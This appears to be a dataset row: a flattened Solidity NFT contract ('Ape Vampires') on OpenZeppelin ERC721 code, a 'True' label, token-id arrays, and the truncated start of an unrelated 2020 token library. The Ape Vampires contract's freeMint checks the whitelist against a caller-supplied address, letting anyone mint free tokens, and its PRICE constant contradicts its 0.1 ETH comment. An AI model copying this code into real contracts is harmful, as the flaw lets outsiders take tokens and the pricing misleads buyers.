* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
require(!paused(), "ERC721Pausable: token transfer while paused");
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Burnable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 Burnable Token
* @dev ERC721 Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721Burnable is Context, ERC721 {
/**
* @dev Burns `tokenId`. See {ERC721-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
// File: apeVampires.sol
//SPDX-License-Identifier: Unlicense
// @title: Ape Vampires
// @author: Ape Vampires Team
pragma solidity ^0.8.0;
contract apeVampires is ERC721Enumerable, Ownable, ERC721Burnable, ERC721Pausable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
Counters.Counter private _freeCount;
mapping(address => bool) private _wlist;
uint256 private _mFree = 10;
bool private presale;
bool private sale;
bool private earlybird;
uint256 public constant MAX_ITEMS = 6666;
uint256 public constant MAX_PRESALE_ITEMS = 1666;
uint256 public constant MAX_EARLY_ITEMS = 555;
address public constant creatorAddress = 0x3200D0A67919Aff1314A86e8085EddD01F175860;
address public constant marketingAddress = 0x24b227B3da037fa73d980469292A288C018321d8;
uint256 public constant MAX_MINT = 20;
uint256 public constant MAX_MINT_PRESALE = 2;
uint256 public constant MAX_MINT_EARLY = 2;
string public baseTokenURI;
uint256 public EARLY_PRICE = 5E16; // 0.05 ETH
uint256 public PRESALE_PRICE = 7E16; // 0.07 ETH
uint256 public PRICE = 1E15; // 0.1 ETH
event CreateApeVampire(uint256 indexed id);
event AttributeChanged(uint256 indexed _tokenId, string _key, string _value);
constructor(string memory baseURI) ERC721("Ape Vampires", "AV") {
setBaseURI(baseURI);
pause(true);
presale = false;
sale = false;
earlybird = false;
}
modifier saleIsOpen {
require(_totalSupply() <= MAX_ITEMS, "Sale ended");
if (_msgSender() != owner()) {
require(!paused(), "Pausable: paused");
}
_;
}
function pause(bool val) public onlyOwner {
if (val == true) {
_pause();
return;
}
_unpause();
}
function _totalSupply() internal view returns (uint) {
return _tokenIdTracker.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function mintReserve(uint256 _count, address _to) public onlyOwner {
uint256 total = _totalSupply();
require(total + _count <= MAX_ITEMS, "Max limit");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function totalFree() public view returns (uint) {
return _mFree - _freeCount.current();
}
function setWhiteList(address _wl) public onlyOwner {
_wlist[_wl]=true;
}
function setMFree(uint256 _count) public onlyOwner {
_mFree=_count;
}
function freeMint(address _to,address _wl) public saleIsOpen {
uint256 total = _totalSupply();
require(total + 1 <= MAX_ITEMS, "Max limit");
require(_wlist[_wl], "not in whitelist");
require(_freeCount.current()+1 <= _mFree, "Free limit");
_freeCount.increment();
_mintAnElement(_to);
}
function startEarly() public onlyOwner {
earlybird = true;
}
function earlyMint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(earlybird == true, "Sale not started");
require(total + _count <= MAX_EARLY_ITEMS, "Max limit");
require(_count <= MAX_MINT_EARLY, "Exceeds number");
require(msg.value >= EARLY_PRICE.mul(_count), "Below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function startPresale() public onlyOwner {
presale = true;
}
function presaleMint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(presale == true, "Sale not started");
require(total + _count <= MAX_PRESALE_ITEMS, "Max limit");
require(_count <= MAX_MINT_PRESALE, "Exceeds number");
require(msg.value >= PRESALE_PRICE.mul(_count), "Below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function startSale() public onlyOwner {
sale = true;
}
function newMint(address _to, uint256 _count) public payable saleIsOpen {
uint256 total = _totalSupply();
require(sale == true, "Sale not started");
require(total + _count <= MAX_ITEMS, "Max limit");
require(_count <= MAX_MINT, "Exceeds number");
require(msg.value >= PRICE.mul(_count), "Below price");
for (uint256 i = 0; i < _count; i++) {
_mintAnElement(_to);
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
newMint(_to,_count);
}
function _mintAnElement(address _to) private {
uint id = _totalSupply();
_tokenIdTracker.increment();
_safeMint(_to, id);
emit CreateApeVampire(id);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenURI;
}
function setBaseURI(string memory baseURI) public onlyOwner {
baseTokenURI = baseURI;
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function setEarlyPrice(uint256 _price) public onlyOwner {
EARLY_PRICE = _price;
}
function setPresalePrice(uint256 _price) public onlyOwner {
PRESALE_PRICE = _price;
}
function setPrice(uint256 _price) public onlyOwner {
PRICE = _price;
}
function changeAttribute(uint256 tokenId, string memory key, string memory value) public {
address owner = ERC721.ownerOf(tokenId);
require(_msgSender() == owner, "This is not your ApeVampire.");
emit AttributeChanged(tokenId, key, value);
}
function withdrawAll() public payable onlyOwner {
uint256 balance = address(this).balance;
require(balance > 0);
_widthdraw(marketingAddress, balance.mul(40).div(100));
_widthdraw(creatorAddress, address(this).balance);
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success,) = _address.call{value : _amount}("");
require(success, "Transfer failed.");
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
super._beforeTokenTransfer(from, to, tokenId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6185,
1011,
2656,
1008,
1013,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
24094,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1014,
1006,
21183,
12146,
1013,
24094,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
24094,
1008,
1030,
3166,
4717,
25805,
2078,
1006,
1030,
23822,
1007,
1008,
1030,
16475,
3640,
24094,
2008,
2064,
2069,
2022,
4297,
28578,
14088,
1010,
11703,
28578,
14088,
2030,
25141,
1012,
2023,
2064,
2022,
2109,
1041,
1012,
1043,
1012,
2000,
2650,
1996,
2193,
1008,
1997,
3787,
1999,
1037,
12375,
1010,
15089,
9413,
2278,
2581,
17465,
8909,
2015,
1010,
2030,
10320,
5227,
8909,
2015,
1012,
1008,
1008,
2421,
2007,
1036,
2478,
24094,
2005,
24094,
1012,
4675,
1025,
1036,
1008,
1013,
3075,
24094,
1063,
2358,
6820,
6593,
4675,
1063,
1013,
1013,
2023,
8023,
2323,
2196,
2022,
3495,
11570,
2011,
5198,
1997,
1996,
3075,
1024,
10266,
2442,
2022,
7775,
2000,
1013,
1013,
1996,
3075,
1005,
1055,
3853,
1012,
2004,
1997,
5024,
3012,
1058,
2692,
1012,
1019,
1012,
1016,
1010,
2023,
3685,
2022,
16348,
1010,
2295,
2045,
2003,
1037,
6378,
2000,
5587,
1013,
1013,
2023,
3444,
1024,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
4805,
24434,
21318,
3372,
17788,
2575,
1035,
3643,
1025,
1013,
1013,
12398,
1024,
1014,
1065,
3853,
2783,
1006,
4675,
5527,
4675,
1007,
4722,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4675,
1012,
1035,
3643,
1025,
1065,
3853,
4297,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1009,
1027,
1015,
1025,
1065,
1065,
3853,
11703,
28578,
4765,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
21318,
3372,
17788,
2575,
3643,
1027,
4675,
1012,
1035,
3643,
1025,
5478,
1006,
3643,
1028,
1014,
1010,
1000,
4675,
1024,
11703,
28578,
4765,
2058,
12314,
1000,
1007,
1025,
4895,
5403,
18141,
1063,
4675,
1012,
1035,
3643,
1027,
3643,
1011,
1015,
1025,
1065,
1065,
3853,
25141,
1006,
4675,
5527,
4675,
1007,
4722,
1063,
4675,
1012,
1035,
3643,
1027,
1014,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1013,
1013,
2330,
4371,
27877,
2378,
8311,
1058,
2549,
1012,
1018,
1012,
1014,
1006,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1007,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
14046,
1013,
1013,
2023,
2544,
1997,
3647,
18900,
2232,
2323,
2069,
2022,
2109,
2007,
5024,
3012,
1014,
1012,
1022,
2030,
2101,
1010,
1013,
1013,
2138,
2009,
16803,
2006,
1996,
21624,
1005,
1055,
2328,
1999,
2058,
12314,
14148,
1012,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
1012,
1008,
1008,
3602,
1024,
1036,
3647,
18900,
2232,
1036,
2003,
3227,
2025,
2734,
3225,
2007,
5024,
3012,
1014,
1012,
1022,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2020-08-19
*/
pragma solidity 0.6.6;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
